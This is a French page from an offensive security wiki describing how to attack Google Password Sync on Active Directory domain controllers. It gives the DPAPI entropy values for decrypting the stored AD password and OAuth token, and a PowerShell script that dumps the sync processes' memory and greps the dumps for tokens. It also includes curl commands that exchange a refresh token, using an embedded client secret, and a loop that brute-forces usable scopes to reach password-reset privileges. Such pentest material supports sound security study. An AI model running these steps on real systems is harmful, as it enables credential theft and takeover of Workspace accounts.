# GPS - Google Password Sync

{{#include ../../../banners/hacktricks-training.md}}

## Informations de base

Ceci est le binaire et le service que Google propose pour **maintenir synchronisés les mots de passe des utilisateurs entre l'AD** et Workspace. Chaque fois qu'un utilisateur change son mot de passe dans l'AD, il est défini sur Google.

Il est installé dans `C:\Program Files\Google\Password Sync` où vous pouvez trouver le binaire `PasswordSync.exe` pour le configurer et `password_sync_service.exe` (le service qui continuera à fonctionner).

### GPS - Configuration

Pour configurer ce binaire (et service), il est nécessaire de **lui donner accès à un principal Super Admin dans Workspace** :

- Se connecter via **OAuth** avec Google et ensuite il **stockera un jeton dans le registre (chiffré)**
- Disponible uniquement sur les contrôleurs de domaine avec interface graphique
- Fournir des **identifiants de compte de service de GCP** (fichier json) avec des permissions pour **gérer les utilisateurs de Workspace**
- Très mauvaise idée car ces identifiants n'expirent jamais et pourraient être mal utilisés
- Très mauvaise idée de donner un accès SA sur Workspace car le SA pourrait être compromis dans GCP et il serait possible de pivoter vers Workspace
- Google l'exige pour les contrôleurs de domaine sans interface graphique
- Ces identifiants sont également stockés dans le registre

Concernant l'AD, il est possible d'indiquer d'utiliser le **contexte d'applications actuel, anonyme ou des identifiants spécifiques**. Si l'option d'identifiants est sélectionnée, le **nom d'utilisateur** est stocké dans un fichier sur le **disque** et le **mot de passe** est **chiffré** et stocké dans le **registre**.

### GPS - Dumping du mot de passe et du jeton depuis le disque

> [!TIP]
> Notez que [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) est capable de détecter **GPS**, d'obtenir des informations sur la configuration et **même de déchiffrer le mot de passe et le jeton**.

Dans le fichier **`C:\ProgramData\Google\Google Apps Password Sync\config.xml`**, il est possible de trouver une partie de la configuration comme le **`baseDN`** de l'AD configuré et le **`nom d'utilisateur`** dont les identifiants sont utilisés.

Dans le registre **`HKLM\Software\Google\Google Apps Password Sync`**, il est possible de trouver le **jeton de rafraîchissement chiffré** et le **mot de passe chiffré** pour l'utilisateur AD (le cas échéant). De plus, si au lieu d'un jeton, des **identifiants SA** sont utilisés, il est également possible de les trouver chiffrés à cette adresse de registre. Les **valeurs** à l'intérieur de ce registre ne sont accessibles que par les **Administrateurs**.

Le **mot de passe** chiffré (le cas échéant) se trouve dans la clé **`ADPassword`** et est chiffré en utilisant l'API **`CryptProtectData`**. Pour le déchiffrer, vous devez être le même utilisateur que celui qui a configuré la synchronisation des mots de passe et utiliser cette **entropie** lors de l'utilisation de **`CryptUnprotectData`** : `byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };`

Le jeton chiffré (le cas échéant) se trouve dans la clé **`AuthToken`** et est chiffré en utilisant l'API **`CryptProtectData`**. Pour le déchiffrer, vous devez être le même utilisateur que celui qui a configuré la synchronisation des mots de passe et utiliser cette **entropie** lors de l'utilisation de **`CryptUnprotectData`** : `byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };`\
De plus, il est également encodé en base32hex avec le dictionnaire **`0123456789abcdefghijklmnopqrstv`**.

Les valeurs d'entropie ont été trouvées en utilisant l'outil. Il a été configuré pour surveiller les appels à **`CryptUnprotectData`** et **`CryptProtectData`** et ensuite l'outil a été utilisé pour lancer et surveiller `PasswordSync.exe` qui déchiffrera le mot de passe et le jeton d'authentification configurés au début et l'outil affichera **les valeurs pour l'entropie utilisée** dans les deux cas :

<figure><img src="../../../images/telegram-cloud-photo-size-4-5782633230648853886-y.jpg" alt=""><figcaption></figcaption></figure>

Notez qu'il est également possible de voir les **valeurs déchiffrées** dans l'entrée ou la sortie des appels à ces API également (au cas où à un moment donné Winpeas cesserait de fonctionner).

Dans le cas où la synchronisation des mots de passe a été **configurée avec des identifiants SA**, elle sera également stockée dans des clés à l'intérieur du registre **`HKLM\Software\Google\Google Apps Password Sync`**.

### GPS - Dumping des jetons depuis la mémoire

Tout comme avec GCPW, il est possible de dumper la mémoire du processus de `PasswordSync.exe` et des processus `password_sync_service.exe` et vous pourrez trouver des jetons de rafraîchissement et d'accès (s'ils ont déjà été générés).\
Je suppose que vous pourriez également trouver les identifiants configurés de l'AD.

<details>

<summary>Dump <code>PasswordSync.exe</code> et les processus <code>password_sync_service.exe</code> et rechercher des jetons</summary>
```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"

# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)

# Show EULA if it wasn't accepted yet for strings
$stringsPath

# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}

# Get all Chrome process IDs
$processNames = @("PasswordSync", "password_sync_service")
$chromeProcesses = Get-Process | Where-Object { $processNames -contains $_.Name } | Select-Object -ExpandProperty Id

# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}

# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"

Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -n 50 -nobanner -u $dumpFile > $unicodeStringsFile

$outputFiles = @($asciiStringsFile, $unicodeStringsFile)

foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {

$matches = Select-String -Path $file -Pattern $regex -AllMatches

$uniqueMatches = @{}

foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText   = $matchInfo.Line.Trim()
FilePath   = $matchInfo.Path
}
}
}
}

foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}

Write-Output ""
}
}
```
</details>

### GPS - Génération de jetons d'accès à partir de jetons d'actualisation

En utilisant le jeton d'actualisation, il est possible de générer des jetons d'accès en utilisant celui-ci ainsi que l'ID client et le secret client spécifiés dans la commande suivante :
```bash
curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
https://www.googleapis.com/oauth2/v4/token
```
### GPS - Scopes

> [!NOTE]
> Notez qu'il n'est pas possible de demander n'importe quel scope pour le jeton d'accès même en ayant un jeton de rafraîchissement, car vous ne pouvez demander que les **scopes pris en charge par l'application où vous générez le jeton d'accès**.
>
> De plus, le jeton de rafraîchissement n'est pas valide dans toutes les applications.

Par défaut, GPS n'aura pas accès en tant qu'utilisateur à tous les scopes OAuth possibles, donc en utilisant le script suivant, nous pouvons trouver les scopes qui peuvent être utilisés avec le `refresh_token` pour générer un `access_token` :

<details>

<summary>Bash script to brute-force scopes</summary>
```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope           \r"
if ! curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
--data "scope=$scope" \
https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then
echo ""
echo $scope
echo $scope >> /tmp/valid_scopes.txt
fi
done

echo ""
echo ""
echo "Valid scopes:"
cat /tmp/valid_scopes.txt
rm /tmp/valid_scopes.txt
```
</details>

Et voici le résultat que j'ai obtenu au moment de l'écriture :
```
https://www.googleapis.com/auth/admin.directory.user
```
Le même que celui que vous obtenez si vous n'indiquez aucun champ.

> [!CAUTION]
> Avec ce champ, vous pourriez **modifier le mot de passe d'un utilisateur existant pour élever les privilèges**.

{{#include ../../../banners/hacktricks-training.md}}
